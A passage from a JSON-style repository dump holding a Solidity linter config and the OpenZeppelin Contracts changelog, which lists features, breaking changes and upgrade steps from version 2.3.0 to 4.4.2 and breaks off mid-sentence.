    "content": "{\n  \"rules\": {\n    \"no-unused-vars\": \"error\",\n    \"const-name-snakecase\": \"error\",\n    \"contract-name-camelcase\": \"error\",\n    \"event-name-camelcase\": \"error\",\n    \"func-name-mixedcase\": \"error\",\n    \"func-param-name-mixedcase\": \"error\",\n    \"modifier-name-mixedcase\": \"error\",\n    \"private-vars-leading-underscore\": \"error\",\n    \"var-name-mixedcase\": \"error\",\n    \"imports-on-top\": \"error\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CHANGELOG.md",
    "content": "# Changelog\n\n## 4.4.2 (2022-01-11)\n\n### Bugfixes\n * `GovernorCompatibilityBravo`: Fix error in the encoding of calldata for proposals submitted through the compatibility interface with explicit signatures. ([#3100](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/#3100))\n\n## 4.4.1 (2021-12-14)\n\n * `Initializable`: change the existing `initializer` modifier and add a new `onlyInitializing` modifier to prevent reentrancy risk. ([#3006](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006))\n\n### Breaking change\n\nIt is no longer possible to call an `initializer`-protected function from within another `initializer` function outside the context of a constructor. Projects using OpenZeppelin upgradeable proxies should continue to work as is, since in the common case the initializer is invoked in the constructor directly. If this is not the case for you, the suggested change is to use the new `onlyInitializing` modifier in the following way:\n\n```diff\n contract A {\n-    function initialize() public   initializer { ... }\n+    function initialize() internal onlyInitializing { ... }\n }\n contract B is A {\n     function initialize() public initializer {\n         A.initialize();\n     }\n }\n```\n\n## 4.4.0 (2021-11-25)\n\n * `Ownable`: add an internal `_transferOwnership(address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControl`: add internal `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControl`: mark `_setupRole(bytes32,address)` as deprecated in favor of `_grantRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControlEnumerable`: hook into `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2946](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2946))\n * `EIP712`: cache `address(this)` to immutable storage to avoid potential issues if a vanilla contract is used in a delegatecall context. ([#2852](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2852))\n * Add internal `_setApprovalForAll` to `ERC721` and `ERC1155`. ([#2834](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2834))\n * `Governor`: shift vote start and end by one block to better match Compound's GovernorBravo and prevent voting at the Governor level if the voting snapshot is not ready. ([#2892](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2892))\n * `GovernorCompatibilityBravo`: consider quorum an inclusive rather than exclusive minimum to match Compound's GovernorBravo. ([#2974](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2974))\n * `GovernorSettings`: a new governor module that manages voting settings updatable through governance actions. ([#2904](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2904))\n * `PaymentSplitter`: now supports ERC20 assets in addition to Ether. ([#2858](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2858))\n * `ECDSA`: add a variant of `toEthSignedMessageHash` for arbitrary length message hashing. ([#2865](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2865))\n * `MerkleProof`: add a `processProof` function that returns the rebuilt root hash given a leaf and a proof. ([#2841](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2841))\n * `VestingWallet`: new contract that handles the vesting of Ether and ERC20 tokens following a customizable vesting schedule. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2748))\n * `Governor`: enable receiving Ether when a Timelock contract is not used. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))\n * `GovernorTimelockCompound`: fix ability to use Ether stored in the Timelock contract. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))\n\n## 4.3.3\n\n * `ERC1155Supply`: Handle `totalSupply` changes by hooking into `_beforeTokenTransfer` to ensure consistency of balances and supply during `IERC1155Receiver.onERC1155Received` calls.\n\n## 4.3.2 (2021-09-14)\n\n * `UUPSUpgradeable`: Add modifiers to prevent `upgradeTo` and `upgradeToAndCall` being executed on any contract that is not the active ERC1967 proxy. This prevents these functions being called on implementation contracts or minimal ERC1167 clones, in particular.\n\n## 4.3.1 (2021-08-26)\n\n * `TimelockController`: Add additional isOperationReady check.\n\n## 4.3.0 (2021-08-17)\n\n * `ERC2771Context`: use private variable from storage to store the forwarder address. Fixes issues where `_msgSender()` was not callable from constructors. ([#2754](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2754))\n * `EnumerableSet`: add `values()` functions that returns an array containing all values in a single call. ([#2768](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2768))\n * `Governor`: added a modular system of `Governor` contracts based on `GovernorAlpha` and `GovernorBravo`. ([#2672](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2672))\n * Add an `interfaces` folder containing solidity interfaces to final ERCs. ([#2517](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2517))\n * `ECDSA`: add `tryRecover` functions that will not throw if the signature is invalid, and will return an error flag instead. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))\n * `SignatureChecker`: Reduce gas usage of the `isValidSignatureNow` function for the \"signature by EOA\" case. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))\n\n## 4.2.0 (2021-06-30)\n\n * `ERC20Votes`: add a new extension of the `ERC20` token with support for voting snapshots and delegation. ([#2632](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2632))\n * `ERC20VotesComp`: Variant of `ERC20Votes` that is compatible with Compound's `Comp` token interface but restricts supply to `uint96`. ([#2706](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2706))\n * `ERC20Wrapper`: add a new extension of the `ERC20` token which wraps an underlying token. Deposit and withdraw guarantee that the total supply is backed by a corresponding amount of underlying token. ([#2633](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2633))\n * Enumerables: Improve gas cost of removal in `EnumerableSet` and `EnumerableMap`.\n * Enumerables: Improve gas cost of lookup in `EnumerableSet` and `EnumerableMap`.\n * `Counter`: add a reset method. ([#2678](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2678))\n * Tokens: Wrap definitely safe subtractions in `unchecked` blocks.\n * `Math`: Add a `ceilDiv` method for performing ceiling division.\n * `ERC1155Supply`: add a new `ERC1155` extension that keeps track of the totalSupply of each tokenId. ([#2593](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2593))\n * `BitMaps`: add a new `BitMaps` library that provides a storage efficient datastructure for `uint256` to `bool` mapping with contiguous keys. ([#2710](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2710))\n\n### Breaking Changes\n\n * `ERC20FlashMint` is no longer a Draft ERC. ([#2673](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2673)))\n\n**How to update:** Change your import paths by removing the `draft-` prefix from `@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20FlashMint.sol`.\n\n> See [Releases and Stability: Drafts](https://docs.openzeppelin.com/contracts/4.x/releases-stability#drafts).\n\n## 4.1.0 (2021-04-29)\n\n * `IERC20Metadata`: add a new extended interface that includes the optional `name()`, `symbol()` and `decimals()` functions. ([#2561](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2561))\n * `ERC777`: make reception acquirement optional in `_mint`. ([#2552](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2552))\n * `ERC20Permit`: add a `_useNonce` to enable further usage of ERC712 signatures. ([#2565](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2565))\n * `ERC20FlashMint`: add an implementation of the ERC3156 extension for flash-minting ERC20 tokens. ([#2543](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2543))\n * `SignatureChecker`: add a signature verification library that supports both EOA and ERC1271 compliant contracts as signers. ([#2532](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2532))\n * `Multicall`: add abstract contract with `multicall(bytes[] calldata data)` function to bundle multiple calls together ([#2608](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2608))\n * `ECDSA`: add support for ERC2098 short-signatures. ([#2582](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2582))\n * `AccessControl`: add a `onlyRole` modifier to restrict specific function to callers bearing a specific role. ([#2609](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2609))\n * `StorageSlot`: add a library for reading and writing primitive types to specific storage slots. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))\n * UUPS Proxies: add `UUPSUpgradeable` to implement the UUPS proxy pattern together with `EIP1967Proxy`. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))\n\n### Breaking changes\n\nThis release includes two small breaking changes in `TimelockController`.\n\n1. The `onlyRole` modifier in this contract was designed to let anyone through if the role was granted to `address(0)`,\n   allowing the possibility to to make a role \"open\", which can be used for `EXECUTOR_ROLE`. This modifier is now\n   replaced by `AccessControl.onlyRole`, which does not have this ability. The previous behavior was moved to the\n   modifier `TimelockController.onlyRoleOrOpenRole`.\n2. It was possible to make `PROPOSER_ROLE` an open role (as described in the previous item) if it was granted to\n   `address(0)`. This would affect the `schedule`, `scheduleBatch`, and `cancel` operations in `TimelockController`.\n   This ability was removed as it does not make sense to open up the `PROPOSER_ROLE` in the same way that it does for\n   `EXECUTOR_ROLE`.\n\n## 4.0.0 (2021-03-23)\n\n * Now targeting the 0.8.x line of Solidity compilers. For 0.6.x (resp 0.7.x) support, use version 3.4.0 (resp 3.4.0-solc-0.7) of OpenZeppelin.\n * `Context`: making `_msgData` return `bytes calldata` instead of `bytes memory` ([#2492](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2492))\n * `ERC20`: removed the `_setDecimals` function and the storage slot associated to decimals. ([#2502](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2502))\n * `Strings`: addition of a `toHexString` function.  ([#2504](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2504))\n * `EnumerableMap`: change implementation to optimize for `key → value` lookups instead of enumeration. ([#2518](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2518))\n * `GSN`: deprecate GSNv1 support in favor of upcoming support for GSNv2. ([#2521](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2521))\n * `ERC165`: remove uses of storage in the base ERC165 implementation. ERC165 based contracts now use storage-less virtual functions. Old behavior remains available in the `ERC165Storage` extension. ([#2505](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2505))\n * `Initializable`: make initializer check stricter during construction. ([#2531](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2531))\n * `ERC721`: remove enumerability of tokens from the base implementation. This feature is now provided separately through the `ERC721Enumerable` extension. ([#2511](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2511))\n * `AccessControl`: removed enumerability by default for a more lightweight contract. It is now opt-in through `AccessControlEnumerable`. ([#2512](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2512))\n * Meta Transactions: add `ERC2771Context` and a `MinimalForwarder` for meta-transactions. ([#2508](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2508))\n * Overall reorganization of the contract folder to improve clarity and discoverability. ([#2503](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2503))\n * `ERC20Capped`: optimize gas usage by enforcing the check directly in `_mint`. ([#2524](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2524))\n * Rename `UpgradeableProxy` to `ERC1967Proxy`. ([#2547](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2547))\n * `ERC777`: optimize the gas costs of the constructor. ([#2551](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2551))\n * `ERC721URIStorage`: add a new extension that implements the `_setTokenURI` behavior as it was available in 3.4.0. ([#2555](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2555))\n * `AccessControl`: added ERC165 interface detection. ([#2562](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2562))\n * `ERC1155`: make `uri` public so overloading function can call it using super. ([#2576](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2576))\n\n### Bug fixes for beta releases\n\n * `AccessControlEnumerable`: Fixed `renounceRole` not updating enumerable set of addresses for a role. ([#2572](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2572))\n\n### How to upgrade from 3.x\n\nSince this version has moved a few contracts to different directories, users upgrading from a previous version will need to adjust their import statements. To make this easier, the package includes a script that will migrate import statements automatically. After upgrading to the latest version of the package, run:\n\n```\nnpx openzeppelin-contracts-migrate-imports\n```\n\nMake sure you're using git or another version control system to be able to recover from any potential error in our script.\n\n### How to upgrade from 4.0-beta.x\n\nSome further changes have been done between the different beta iterations. Transitions made during this period are configured in the `migrate-imports` script. Consequently, you can upgrade from any previous 4.0-beta.x version using the same script as described in the *How to upgrade from 3.x* section.\n\n## 3.4.2\n\n * `TimelockController`: Add additional isOperationReady check.\n\n## 3.4.1 (2021-03-03)\n\n * `ERC721`: made `_approve` an internal function (was private).\n\n## 3.4.0 (2021-02-02)\n\n * `BeaconProxy`: added new kind of proxy that allows simultaneous atomic upgrades. ([#2411](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2411))\n * `EIP712`: added helpers to verify EIP712 typed data signatures on chain. ([#2418](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2418))\n * `ERC20Permit`: added an implementation of the ERC20 permit extension for gasless token approvals. ([#2237](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237))\n * Presets: added token presets with preminted fixed supply `ERC20PresetFixedSupply` and `ERC777PresetFixedSupply`. ([#2399](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2399))\n * `Address`: added `functionDelegateCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))\n * `Clones`: added a library for deploying EIP 1167 minimal proxies. ([#2449](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2449))\n * `Context`: moved from `contracts/GSN` to `contracts/utils`. ([#2453](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2453))\n * `PaymentSplitter`: replace usage of `.transfer()` with `Address.sendValue` for improved compatibility with smart wallets. ([#2455](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2455))\n * `UpgradeableProxy`: bubble revert reasons from initialization calls. ([#2454](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2454))\n * `SafeMath`: fix a memory allocation issue by adding new `SafeMath.tryOp(uint,uint)→(bool,uint)` functions. `SafeMath.op(uint,uint,string)→uint` are now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))\n * `EnumerableMap`: fix a memory allocation issue by adding new `EnumerableMap.tryGet(uint)→(bool,address)` functions. `EnumerableMap.get(uint)→string` is now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))\n * `ERC165Checker`: added batch `getSupportedInterfaces`. ([#2469](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2469))\n * `RefundEscrow`: `beneficiaryWithdraw` will forward all available gas to the beneficiary. ([#2480](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2480))\n * Many view and pure functions have been made virtual to customize them via overrides. In many cases this will not imply that other functions in the contract will automatically adapt to the overridden definitions. People who wish to override should consult the source code to understand the impact and if they need to override any additional functions to achieve the desired behavior.\n\n### Security Fixes\n\n * `ERC777`: fix potential reentrancy issues for custom extensions to `ERC777`. ([#2483](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483))\n\nIf you're using our implementation of ERC777 from version 3.3.0 or earlier, and you define a custom `_beforeTokenTransfer` function that writes to a storage variable, you may be vulnerable to a reentrancy attack. If you're affected and would like assistance please write to security@openzeppelin.com. [Read more in the pull request.](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483)\n\n## 3.3.0 (2020-11-26)\n\n * Now supports both Solidity 0.6 and 0.7. Compiling with solc 0.7 will result in warnings. Install the `solc-0.7` tag to compile without warnings.\n * `Address`: added `functionStaticCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))\n * `TimelockController`: added a contract to augment access control schemes with a delay. ([#2354](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2354))\n * `EnumerableSet`: added `Bytes32Set`, for sets of `bytes32`. ([#2395](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2395))\n\n## 3.2.2-solc-0.7 (2020-10-28)\n * Resolve warnings introduced by Solidity 0.7.4. ([#2396](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2396))\n\n## 3.2.1-solc-0.7 (2020-09-15)\n * `ERC777`: Remove a warning about function state visibility in Solidity 0.7. ([#2327](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2327))\n\n## 3.2.0 (2020-09-10)\n\n### New features\n * Proxies: added the proxy contracts from OpenZeppelin SDK. ([#2335](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2335))\n\n#### Proxy changes with respect to OpenZeppelin SDK\n\nAside from upgrading them from Solidity 0.5 to 0.6, we've changed a few minor things from the proxy contracts as they were found in OpenZeppelin SDK.\n\n- `UpgradeabilityProxy` was renamed to `UpgradeableProxy`.\n- `AdminUpgradeabilityProxy` was renamed to `TransparentUpgradeableProxy`.\n- `Proxy._willFallback` was renamed to `Proxy._beforeFallback`.\n- `UpgradeabilityProxy._setImplementation` and `AdminUpgradeabilityProxy._setAdmin` were made private.\n\n### Improvements\n * `Address.isContract`: switched from `extcodehash` to `extcodesize` for less gas usage. ([#2311](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2311))\n\n### Breaking changes\n * `ERC20Snapshot`: switched to using `_beforeTokenTransfer` hook instead of overriding ERC20 operations. ([#2312](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2312))\n\nThis small change in the way we implemented `ERC20Snapshot` may affect users who are combining this contract with\nother ERC20 flavors, since it no longer overrides `_transfer`, `_mint`, and `_burn`. This can result in having to remove Solidity `override(...)` specifiers in derived contracts for these functions, and to instead have to add it for `_beforeTokenTransfer`. See [Using Hooks](https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks) in the documentation.\n\n## 3.1.0 (2020-06-23)\n\n### New features\n * `SafeCast`: added functions to downcast signed integers (e.g. `toInt32`), improving usability of `SignedSafeMath`. ([#2243](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2243))\n * `functionCall`: new helpers that replicate Solidity's function call semantics, reducing the need to rely on `call`. ([#2264](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2264))\n * `ERC1155`: added support for a base implementation, non-standard extensions and a preset contract. ([#2014](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2014), [#2230](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2230))\n\n### Improvements\n * `ReentrancyGuard`: reduced overhead of using the `nonReentrant` modifier. ([#2171](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2171))\n * `AccessControl`: added a `RoleAdminChanged` event to `_setAdminRole`. ([#2214](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2214))\n * Made all `public` functions in the token preset contracts `virtual`. ([#2257](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2257))\n\n### Deprecations\n * `SafeERC20`: deprecated `safeApprove`. ([#2268](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2268))\n\n## 3.0.2 (2020-06-08)\n\n### Improvements\n * Added SPX license identifier to all contracts. ([#2235](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2235))\n\n## 3.0.1 (2020-04-27)\n\n### Bugfixes\n * `ERC777`: fixed the `_approve` internal function not validating some of their arguments for non-zero addresses. ([#2213](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2213))\n\n## 3.0.0 (2020-04-20)\n\n### New features\n * `AccessControl`: new contract for managing permissions in a system, replacement for `Ownable` and `Roles`. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))\n * `SafeCast`: new functions to convert to and from signed and unsigned values: `toUint256` and `toInt256`. ([#2123](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2123))\n * `EnumerableMap`: a new data structure for key-value pairs (like `mapping`) that can be iterated over. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n\n### Breaking changes\n * `ERC721`: `burn(owner, tokenId)` was removed, use `burn(tokenId)` instead. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `ERC721`: `_checkOnERC721Received` was removed. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `ERC721`: `_transferFrom` and `_safeTransferFrom` were renamed to `_transfer` and `_safeTransfer`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))\n * `Ownable`: removed `_transferOwnership`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))\n * `PullPayment`, `Escrow`: `withdrawWithGas` was removed. The old `withdraw` function now forwards all gas. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `Roles` was removed, use `AccessControl` as a replacement. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))\n * `ECDSA`: when receiving an invalid signature, `recover` now reverts instead of returning the zero address. ([#2114](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2114))\n * `Create2`: added an `amount` argument to `deploy` for contracts with `payable` constructors. ([#2117](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2117))\n * `Pausable`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Strings`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Counters`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `SignedSafeMath`: moved to the `math` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `ERC20Snapshot`: moved to the `token/ERC20` directory. `snapshot` was changed into an `internal` function. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Ownable`: moved to the `access` directory. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Ownable`: removed `isOwner`. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Secondary`: removed from the library, use `Ownable` instead. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Escrow`, `ConditionalEscrow`, `RefundEscrow`: these now use `Ownable` instead of `Secondary`, their external API changed accordingly. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `ERC20`: removed `_burnFrom`. ([#2119](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2119))\n * `Address`: removed `toPayable`, use `payable(address)` instead. ([#2133](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2133))\n * `ERC777`: `_send`, `_mint` and `_burn` now use the caller as the operator. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))\n * `ERC777`: removed `_callsTokensToSend` and `_callTokensReceived`. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))\n * `EnumerableSet`: renamed `get` to `at`. ([#2151](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2151))\n * `ERC165Checker`: functions no longer have a leading underscore. ([#2150](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2150))\n * `ERC721Metadata`, `ERC721Enumerable`: these contracts were removed, and their functionality merged into `ERC721`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n * `ERC721`: added a constructor for `name` and `symbol`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n * `ERC20Detailed`: this contract was removed and its functionality merged into `ERC20`. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))\n * `ERC20`: added a constructor for `name` and `symbol`. `decimals` now defaults to 18. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))\n * `Strings`: renamed `fromUint256` to `toString` ([#2188](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2188))\n\n## 2.5.1 (2020-04-24)\n\n### Bugfixes\n * `ERC777`: fixed the `_send` and `_approve` internal functions not validating some of their arguments for non-zero addresses. ([#2212](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2212))\n\n## 2.5.0 (2020-02-04)\n\n### New features\n * `SafeCast.toUintXX`: new library for integer downcasting, which allows for safe operation on smaller types (e.g. `uint32`) when combined with `SafeMath`. ([#1926](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1926))\n * `ERC721Metadata`: added `baseURI`, which can be used for dramatic gas savings when all token URIs share a prefix (e.g. `http://api.myapp.com/tokens/<id>`). ([#1970](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1970))\n * `EnumerableSet`: new library for storing enumerable sets of values. Only `AddressSet` is supported in this release. ([#2061](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/2061))\n * `Create2`: simple library to make usage of the `CREATE2` opcode easier. ([#1744](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1744))\n\n### Improvements\n * `ERC777`: `_burn` is now internal, providing more flexibility and making it easier to create tokens that deflate. ([#1908](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1908))\n * `ReentrancyGuard`: greatly improved gas efficiency by using the net gas metering mechanism introduced in the Istanbul hardfork. ([#1992](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1992), [#1996](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1996))\n * `ERC777`: improve extensibility by making `_send` and related functions `internal`. ([#2027](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2027))\n * `ERC721`: improved revert reason when transferring tokens to a non-recipient contract. ([#2018](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2018))\n\n### Breaking changes\n * `ERC165Checker` now requires a minimum Solidity compiler version of 0.5.10. ([#1829](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1829))\n\n## 2.4.0 (2019-10-29)\n\n### New features\n * `Address.toPayable`: added a helper to convert between address types without having to resort to low-level casting. ([#1773](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1773))\n * Facilities to make metatransaction-enabled contracts through the Gas Station Network. ([#1844](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1844))\n * `Address.sendValue`: added a replacement to Solidity's `transfer`, removing the fixed gas stipend. ([#1962](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1962))\n * Added replacement for functions that don't forward all gas (which have been deprecated): ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))\n   * `PullPayment.withdrawPaymentsWithGas(address payable payee)`\n   * `Escrow.withdrawWithGas(address payable payee)`\n * `SafeMath`: added support for custom error messages to `sub`, `div` and `mod` functions. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))\n\n### Improvements\n * `Address.isContract`: switched from `extcodesize` to `extcodehash` for less gas usage. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))\n * `ERC20` and `ERC777` updated to throw custom errors on subtraction overflows. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))\n\n### Deprecations\n * Deprecated functions that don't forward all gas: ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))\n   * `PullPayment.withdrawPayments(address payable payee)`\n   * `Escrow.withdraw(address payable payee)`\n\n### Breaking changes\n * `Address` now requires a minimum Solidity compiler version of 0.5.5. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))\n * `SignatureBouncer` has been removed from drafts, both to avoid confusions with the GSN and `GSNRecipientSignature` (previously called `GSNBouncerSignature`) and because the API was not very clear. ([#1879](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1879))\n\n### How to upgrade from 2.4.0-beta\n\nThe final 2.4.0 release includes a refactor of the GSN contracts that will be a breaking change for 2.4.0-beta users.\n\n * The default empty implementations of `_preRelayedCall` and `_postRelayedCall` were removed and must now be explicitly implemented always in custom recipients. If your custom recipient didn't include an implementation, you can provide an empty one.\n * `GSNRecipient`, `GSNBouncerBase`, and `GSNContext` were all merged into `GSNRecipient`.\n * `GSNBouncerSignature` and `GSNBouncerERC20Fee` were renamed to `GSNRecipientSignature` and `GSNRecipientERC20Fee`.\n * It is no longer necessary to inherit from `GSNRecipient` when using `GSNRecipientSignature` and `GSNRecipientERC20Fee`.\n\nFor example, a contract using `GSNBouncerSignature` would have to be changed in the following way.\n\n```diff\n-contract MyDapp is GSNRecipient, GSNBouncerSignature {\n+contract MyDapp is GSNRecipientSignature {\n```\n\nRefer to the table below to adjust your inheritance list.\n\n| 2.4.0-beta                         | 2.4.0                        |\n| ---------------------------------- | ---------------------------- |\n| `GSNRecipient, GSNBouncerSignature`| `GSNRecipientSignature`      |\n| `GSNRecipient, GSNBouncerERC20Fee` | `GSNRecipientERC20Fee`       |\n| `GSNBouncerBase`                   | `GSNRecipient`               |\n\n## 2.3.0 (2019-05-27)\n\n### New features\n * `ERC1820`: added support for interacting with the [ERC1820](https://eips.ethereum.org/EIPS/eip-1820) registry contract (`IERC1820Registry`), as well as base contracts that can be registered as implementers there. ([#1677](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1677))\n * `ERC777`: support for the [ERC777 token](https://eips.ethereum.org/EIPS/eip-777), which has multiple improvements over `ERC20` (but is backwards compatible with it) such as built-in burning, a more  straightforward permission system, and optional sender and receiver hooks on transfer (mandatory for contracts!). ([#1684](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1684))\n * All contracts now have 